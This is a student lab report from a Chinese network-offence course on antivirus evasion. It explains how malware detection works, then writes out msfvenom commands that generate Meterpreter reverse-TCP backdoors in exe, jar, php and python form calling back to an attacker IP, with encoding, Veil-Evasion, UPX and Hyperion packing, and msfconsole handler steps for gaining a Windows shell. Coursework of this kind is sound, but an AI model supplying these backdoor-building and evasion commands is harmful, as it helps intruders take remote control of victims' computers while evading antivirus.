2019-2020-2 20175307高士淳《网络对抗技术》Exp3 免杀原理与实践

一、恶意代码检测机制和免杀原理

1.恶意代码检测机制和免杀原理

简单来说一段特征码就是一段或多段数据。如果一个可执行文件(或其他运行的库、脚本等)包含这样的数据则被认为是恶意代码。

1.1特征库举例-Snort

恶意软件的检测,并不是比对整个文件,而只能只其中一个或几个片断作为识别依据。
这就是最简单的特征码,或“signature”。

1.2 启发式恶意软件检测

“When I see a bird that walks like a duck and swims like a duck and quacks like a duck, I call that bird a duck.” 对恶意软件检测来主说,就是如果一个软件在干通常是恶意软件干的事,看起来了像个恶意软件,那我们就把它当成一个恶意软件吧。典型的行为如连接恶意网站、开放端口、修改系统文件,典型的“外观”如文件本身签名、结构、厂商等信息等。各个厂商会定义自己的检测模式。
优点:
可以检测0-day恶意软件
具有一定通用性
缺点:
实时监控系统行为,开销稍多
没有基于特征码的精确度高

1.3 基于行为的恶意软件检测

最开始提出启发式时,一般也是针对特征扫描的而言的,指通用的、多特征的、非精确的扫描,
所以后来又提出了基于行为的。从理论上讲,基于行为的检测相当于是启发式的一种,或者是加入了行为监控的启发式。

2.免杀技术(Evading AV)综述改变特征码

1.改变特征码

(1)如果你手里只有EXE
加壳:压缩壳 加密壳
(2)有shellcode(像Meterpreter)
用encode进行编码
基于payload重新编译生成可执行文件
(3)有源代码
用其他语言进行重写再编译(veil-evasion)

2.改变行为

(1)通讯方式
尽量使用反弹式连接
使用隧道技术
加密通讯数据
(2)操作模式
基于内存操作
减少对系统的修改
加入混淆作用的正常功能代码

3.非常规方法

使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中。
使用社工类攻击,诱骗目标关闭AV软件。
纯手工打造一个恶意软件

二、实验内容

任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧

1.1首先测试的是实验二生成的后门程序

在这里使用的是VirusTota网站进行检测扫描。

网站一共进行了71项检测,其中57检测出了这是一个后门程序,令人惊讶的是国内的Alibaba和Baidu纷纷落马,没能检测出,相反360检测出了问题。

1.2经过一次编码

-e选择编码器,-b是payload中需要清除的字符,该命令中为了使\x00'不出现在shellcode中,因为shellcode以\x00'为结束符。

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.43.132 LPORT=5307 -f exe > encode.exe

我们再次检测生成的后门文件encode.exe
首先是网站检测:
360检测:

1.3经过10次编码
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.43.132 LPORT=5307 -f exe > encode.exe

360检测结果:

网站检测结果:
根据检测结果编码对于免杀的效果不大,主要原因1.解码部分类似,2.模板相同。

2.java
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.43.132 LPORT=5307 x> backdoor_java.jar

这次的检查结果,在复制到本机后,360并没有反应。
VirusTotal检测截图:

但是网站仍然检测出这是一个java的Trojan

3.php
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.43.132 LPORT=5307 x> dwt_backdoor.php 

360仍然没有反应。
VirusTotal检测截图:

仅有三个引擎做出了反应。
4.python

msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.43.132 LPORT=5307 x> backdoor_python.py

360仍然没有反应。
VirusTotal检测截图:

大部分引擎显示为脚本后门。

4.Veil

(1)首先安装veil

按照https://www.cnblogs.com/orii/p/12564504.html,先将git地址从github改为gitee,之后再安装就很快了
输入veil,进入如下界面

再输入use evasion命令进入Evil-Evasion

再入命令use c/meterpreter/rev_tcp.py进入配置界面

设置反弹连接LHOST和LPORT
set LHOST 192.168.43.132
set LPORT 5307

通过generate生成文件,和文件名veil1_5307

生成的文件在/var/lib/veil/output/compiled/veil1_5307.exe
我们继续将这个文件进行检测。

不出意外还是被检测出来了。

(2)shellcode

首先用C语言生成一段shellcode
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.43.132 LPORT=5307 -f c
新建一个shellcode.c文件
如何通过i686-w64-mingw32-g++ shellcode.c -o 20175307.exe进行编译
再进行检测

(3)加壳

加壳是对相应的资源进行压缩,压缩后仍可运行。
加壳的程序需要阻止外部程序或软件对加壳程序本身的反汇编分析或者动态分析,以达到保护壳内原始程序以及软件不被外部程序破坏,保证原始程序正常运行。
它可以用来保护版权,但同时许多病毒也利用它来作为原理。
从技术上分壳分为:
压缩壳
减少应用体积,如ASPack,UPX
加密壳
版权保护,反跟踪。如ASProtect,Armadillo
虚拟机
通过类似编译手段,将应用指令转换为自己设计的指令集。如VMProtect, Themida

UPX

upx 20175307.exe -o upx20175307.exe

网站检测:

刚复制过去的时候,360并没有检测出来,但是过了一会就被删除了。

使用加密壳:Hyperion

将压缩壳的文件upx20175307.exe复制到/usr/share/windows-binaries/hyperion/
但是出现了找不到指定文件夹的问题
经过层层cd,发现了一个问题

在我的kali下,hyperion在Windows-resources文件夹下,而不再bin下。

wine hyperion.exe -v upx20175307.exe upx_hyp20175307.exe

再进行检测:
360检测结果:

秒封
网站检测结果:

仍然是被检测出来。

Veil/Evasion/29
list结果:

5.Veil Evasion32免杀

(1)kali生成

在命令行输入Veil,加载之后输入use evasion

输入list,一共有41个方式

在这里我选取的是第32种,通过des的方式。
use 32
generate

之后是各种选项

之后是输入名字,我命名为py_shellcode和打包方式
选择的是通过py2exe。

(2)win生成

环境:win7,将kali的veil的source下的三个文件复制到win7

runme.bat可以实现免杀

  • 第一项:安装python2.7,并增加path

  • 第二项:安装Microsoft Visual C++

  • 第三项:安装升级pip

  • 第四项:安装pycrypto,并更改python文件夹下的Lib\site-packages\crypto为Crypto,否则无法正常调用DES算法

  • 第五项:安装py2exe,需要下载0.6版本且针对(适用于python2)

  • 第六项:命令行执行runme.bat,会自动生成exe文件

(3)连接

1.首先在kali的下/var/lib/veil/output/handlers/执行msfconsole -r py_shellcode.rc
会等到win7连接
2.在win7运行exe
3.kali会得到session,执行sessions -i查看连接,并执行sessions -i 1,即可获得win7shell
(也可以通过netstat -ano查看连接)

(4)出现的问题,runme.bat执行文件实际上是一个脚本,bat可以免杀,但并不是后门文件,需要手动在win7执行生成,且生成的exe大概率会被杀掉,


三、问题回答

1. 杀软是如何检测出恶意代码的?

(1)通过特征码检测:恶意代码模板自带的特征码
(2)行为检测,比如请求连接

2. 免杀是做什么?

让病毒可以通过杀毒软件的检测,实现病毒的恶意行为

3. 免杀的基本方法有哪些?

(1)改变特征码,改变恶意代码的特征码或者使用新的恶意代码
(2)改变行为:使用反弹连接,隧道技术,加密通讯等
(3)使用0day漏洞

4.开启杀软能绝对防止电脑中恶意代码吗?

可以防止发部分恶意代码,但是总还是有一些破绽,因为恶意代码可以通过免杀技术逃避检测。

四、实验感想

通过本次实验真正理解了网络对抗技术的魅力,以及对抗的含义,一方面是对进攻手段的不断升级和更新换代,以及挖掘更多的漏洞作为突破口,另一方面是对漏洞的及时修补和对系统的实时保护。这两者在对抗中不断进步,相互成全,如果没有网络病毒,也不会有病毒检测系统。但是这次实验让我注意到的另一点是,这些病毒防御软件,未免检测速度也太快了,权限也太高了,这些厂商在帮助用户的同时,几乎可以肆意浏览用户的所有文件,虽然厂商的初心是好的,也是解决问题的最佳手段,但是未免会使我(用户)在这些防御软件面前如同赤身。

posted on 2020-04-01 21:30  20175307GSC  阅读(374)  评论(1编辑  收藏  举报

导航